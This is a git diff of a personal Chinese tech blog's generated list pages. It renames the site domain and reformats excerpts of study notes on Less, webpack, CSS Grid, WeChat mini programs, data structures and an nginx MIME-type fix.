+#app{ width: 100px; a{ color: #000; &:hover{ color: @color; } &::before{ width: 30px; } } } less运算...</p></div><footer class=entry-footer><span title='2021-07-01 15:31:00 +0000 UTC'>2021-07-01</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to CSS预处理器-Less学习笔记" href=https://chenjunlinabc.github.io/posts/50/></a></article><article class=post-entry><header class=entry-header><h2>数据结构与算法学习笔记</h2></header><div class=entry-content><p>根据于小甲鱼大佬的数据结构与算法教程而 ~~ 写 ~~ 抄的笔记
 什么是数据结构？
 数据结构是一门研究非数值计算的程序设计问题中的操作对象，以及它们之间的关系和操作等相关问题的学科。
 程序设计 = 数据结构 + 算法
@@ -188,7 +155,7 @@
 分析一个算法的时间复杂度（推导大O阶方法）：
 用常数1取代运行时间中的所有加法常数
 在修改后的运行次数函数中，只保留最高阶项
-如果最高阶项存在且不是1，则去除于这个项相乘的常数...</p></div><footer class=entry-footer><span title='2021-06-29 15:52:00 +0000 UTC'>2021-06-29</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 数据结构与算法学习笔记" href=https://xiaochenabc123.github.io/posts/49/></a></article><article class=post-entry><header class=entry-header><h2>微信小程序学习笔记</h2></header><div class=entry-content><p>小程序实质上就是一个基于web基础的应用程序（网页）（但是不支持浏览器的api，小程序的api全部由微信提供，高度依赖微信，因此只能在微信中运行）
+如果最高阶项存在且不是1，则去除于这个项相乘的常数...</p></div><footer class=entry-footer><span title='2021-06-29 15:52:00 +0000 UTC'>2021-06-29</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 数据结构与算法学习笔记" href=https://chenjunlinabc.github.io/posts/49/></a></article><article class=post-entry><header class=entry-header><h2>微信小程序学习笔记</h2></header><div class=entry-content><p>小程序实质上就是一个基于web基础的应用程序（网页）（但是不支持浏览器的api，小程序的api全部由微信提供，高度依赖微信，因此只能在微信中运行）
 微信之父张小龙是这样描述小程序的：
 小程序是一种不需要下载安装就可以使用的应用，它实现了应用触手可及的梦想。
 用户扫一扫或者搜一下即可打开应用，也体现了用完即走的理念。
@@ -218,18 +185,8 @@
 app.json定义了页面和基本配置，采用json格式，必须包含pages属性，说明小程序有哪些页面
 app.json文件结构
 pages是用来定义页面的，是一个数组，每一个项都是代表一个页面，例如：
-"pages":[
-"pages/index/index",
-"pages/demo/demo"
-],
-window属性是设置小程序的窗口样式，例如：
-"window":{
-"backgroundTextStyle":"light",
-"navigationBarBackgroundColor": "#fff", // 导航栏背景颜色
-"navigationBarTitleText": "Weixin", // 导航栏文本
-"navigationBarTextStyle":"black" // 导航栏文本颜色
-},
-从上面可以看出是一个三层结构，页面是放在pages目录下的，而demo和index都是代表这个页面叫什么
+"pages":[ "pages/index/index", "pages/demo/demo" ], window属性是设置小程序的窗口样式，例如：
+"window":{ "backgroundTextStyle":"light", "navigationBarBackgroundColor": "#fff", // 导航栏背景颜色 "navigationBarTitleText": "Weixin", // 导航栏文本 "navigationBarTextStyle":"black" // 导航栏文本颜色 }, 从上面可以看出是一个三层结构，页面是放在pages目录下的，而demo和index都是代表这个页面叫什么
 demo.js，Page()是小程序提供的一个函数，用来初始化页面，参数是一个对象，用来配置当前页面的属性
 demo.wxml，该文件是用来描述页面的，和html类似
 pages文件夹：存放小程序页面，每个页面代表为一个文件夹，文件夹名称为页面名称，在这个页面文件夹下的全部文件都是描述这个页面的
@@ -248,8 +205,8 @@
 WXML：从html中衍生而来一种专门在小程序页面中使用的语言，组合了基础组件，事件系统，构造出页面的结构
 view元素是表示块级，和div类似
 scroll-view元素是表示可滚动页面区域
-text元素是表示行内文本，和span类似...</p></div><footer class=entry-footer><span title='2021-06-27 12:34:00 +0000 UTC'>2021-06-27</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 微信小程序学习笔记" href=https://xiaochenabc123.github.io/posts/48/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/posts/page/16/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/posts/page/18/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+text元素是表示行内文本，和span类似...</p></div><footer class=entry-footer><span title='2021-06-27 12:34:00 +0000 UTC'>2021-06-27</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 微信小程序学习笔记" href=https://chenjunlinabc.github.io/posts/48/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/posts/page/16/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/posts/page/18/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/posts/page/18/index.html b/posts/page/18/index.html
index 76e72332..19c0b86e 100644
--- a/posts/page/18/index.html
+++ b/posts/page/18/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>webpack学习笔记</h2></header><div class=entry-content><p>webpack作为模块加载和打包神器
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>webpack学习笔记</h2></header><div class=entry-content><p>webpack作为模块加载和打包神器
 安装node就有npm了，用npm安装webpack
 npm i webpack webpack-cli -g 安装全局的webpack
 到项目目录下，npm init -y 初始化模块
@@ -15,25 +15,7 @@
 npx webpack A.js B.js
 会出现一个C.js
 配置webpack.config.js
-module.exports = {
-entry: '入口文件的路径',
-output: {
-path:__dirname,
-filename: '最后输出到哪个文件的文件名'
-},
-module: {
-rules: [{
-test: '处理什么格式的文件',
-use:[
-{
-loader: '依赖包'
-}
-]
-}
-]
-}
-};
-模块化...</p></div><footer class=entry-footer><span title='2021-06-24 10:11:00 +0000 UTC'>2021-06-24</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to webpack学习笔记" href=https://xiaochenabc123.github.io/posts/47/></a></article><article class=post-entry><header class=entry-header><h2>Grid布局学习笔记</h2></header><div class=entry-content><p>grid 布局
+module.exports = { entry: '入口文件的路径', output: { path:__dirname, filename: '最后输出到哪个文件的文件名' }, module: { rules: [{ test: '处理什么格式的文件', use:[ { loader: '依赖包' } ] } ] } }; 模块化...</p></div><footer class=entry-footer><span title='2021-06-24 10:11:00 +0000 UTC'>2021-06-24</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to webpack学习笔记" href=https://chenjunlinabc.github.io/posts/47/></a></article><article class=post-entry><header class=entry-header><h2>Grid布局学习笔记</h2></header><div class=entry-content><p>grid 布局
 grid布局和flex布局类似，不过grid是最强大的css布局方式
 grid布局是网格布局
 display: grid; // 定义grid布局，默认为块级元素
@@ -51,7 +33,7 @@
 grid-template-rows: auto; // 由浏览器决定行高
 grid-template-columns: [a1] 100px [a2] 100px [a3] auto; // 方括号[]内的的值是用于指定网格的名称
 grid-template-columns: 20% 60% 20%; // 左栏20%，中间60%，右栏20%，如果是重复的值搭配repeat使用更佳
-grid-row-gap: 10px; // 行间距（行与行的距离）...</p></div><footer class=entry-footer><span title='2021-06-23 10:29:00 +0000 UTC'>2021-06-23</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Grid布局学习笔记" href=https://xiaochenabc123.github.io/posts/45/></a></article><article class=post-entry><header class=entry-header><h2>css的一些知识扩展</h2></header><div class=entry-content><p>box-sizing 盒类型
+grid-row-gap: 10px; // 行间距（行与行的距离）...</p></div><footer class=entry-footer><span title='2021-06-23 10:29:00 +0000 UTC'>2021-06-23</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Grid布局学习笔记" href=https://chenjunlinabc.github.io/posts/45/></a></article><article class=post-entry><header class=entry-header><h2>css的一些知识扩展</h2></header><div class=entry-content><p>box-sizing 盒类型
 该属性是告诉浏览器是以什么盒模型展示的
 IE用的是border-box
 计算方式是外边距+内边距+内容=宽度（高度）
@@ -87,7 +69,7 @@
 all为横跨所有列
 media 媒体查询
 媒体查询常用于响应式布局，为不同屏幕设置不同的样式
-@media(max-width:768px){} // 当屏幕最大宽度只有768px时应用其下的设置...</p></div><footer class=entry-footer><span title='2021-06-23 09:16:00 +0000 UTC'>2021-06-23</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to css的一些知识扩展" href=https://xiaochenabc123.github.io/posts/44/></a></article><article class=post-entry><header class=entry-header><h2>一些常用的进制转换方法</h2></header><div class=entry-content><p>除2取余，逆序排列
+@media(max-width:768px){} // 当屏幕最大宽度只有768px时应用其下的设置...</p></div><footer class=entry-footer><span title='2021-06-23 09:16:00 +0000 UTC'>2021-06-23</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to css的一些知识扩展" href=https://chenjunlinabc.github.io/posts/44/></a></article><article class=post-entry><header class=entry-header><h2>一些常用的进制转换方法</h2></header><div class=entry-content><p>除2取余，逆序排列
 十进制（整数）转二进制一般使用"除2取余，逆序排列"法：
 1.先使用2整除2进制，得到商和余数
 2.然后再使用2整除商，得到新的商和余数
@@ -97,15 +79,15 @@
 例子： 100/2 = 50余 0 50/2= 25余 0 25/2=12余 1 12/2=6余 0 6/2 = 3余 0 3/2 =1 余 1 1/2=0余 1
 所以100的二进制为1100100
 小数转二进制
-乘2取整，顺序排列</p></div><footer class=entry-footer><span title='2021-06-20 20:07:00 +0000 UTC'>2021-06-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 一些常用的进制转换方法" href=https://xiaochenabc123.github.io/posts/43/></a></article><article class=post-entry><header class=entry-header><h2>记录一次MIME类型错误</h2></header><div class=entry-content><p>打开网页，发现css没有加载出来，f12一看，content-type: text/plain;，把这个css当文本输出了，浏览器请求到这种类型的文件都不会对其进行处理，而且应该是text/css才对
+乘2取整，顺序排列</p></div><footer class=entry-footer><span title='2021-06-20 20:07:00 +0000 UTC'>2021-06-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 一些常用的进制转换方法" href=https://chenjunlinabc.github.io/posts/43/></a></article><article class=post-entry><header class=entry-header><h2>记录一次MIME类型错误</h2></header><div class=entry-content><p>打开网页，发现css没有加载出来，f12一看，content-type: text/plain;，把这个css当文本输出了，浏览器请求到这种类型的文件都不会对其进行处理，而且应该是text/css才对
 先了解一下浏览器是如何处理这些数据的，是怎么区分的
 数据通过http传输协议获取到，然后由web服务器的content-type向浏览器进行指示数据的类型，而mime.types就是用来定义数据文件的类型，用什么格式来进行网页编码（charset=utf-8）
 当web服务器接收到请求时，会依据请求文件的后缀名在服务器的MIME配置文件中找到对应的mime.types，然后根据mime.types来确定content-type，浏览器根据content-type来处理数据
 解决方法：当然是指定mime.types文件，而宝塔的nginx一般是在/www/server/nginx目录下，而mime.types文件一般在nginx目录下的conf目录下，会看到一个叫mime.types的文件和一个叫mime.types.default的文件
 往nginx配置文件上输入 include /www/server/nginx/conf/mime.types; default_type application/octet-stream;
 第一个行指定mime.types，第二行就是默认类型
-然后重启一下nginx服务器，刷新一下网页，看到恢复成content-type: text/css了</p></div><footer class=entry-footer><span title='2021-06-17 08:25:00 +0000 UTC'>2021-06-17</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 记录一次MIME类型错误" href=https://xiaochenabc123.github.io/posts/39/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/posts/page/17/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/posts/page/19/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+然后重启一下nginx服务器，刷新一下网页，看到恢复成content-type: text/css了</p></div><footer class=entry-footer><span title='2021-06-17 08:25:00 +0000 UTC'>2021-06-17</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 记录一次MIME类型错误" href=https://chenjunlinabc.github.io/posts/39/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/posts/page/17/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/posts/page/19/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/posts/page/19/index.html b/posts/page/19/index.html
index c4094dea..1ac2580d 100644
--- a/posts/page/19/index.html
+++ b/posts/page/19/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"}]}</script></head><body class=list 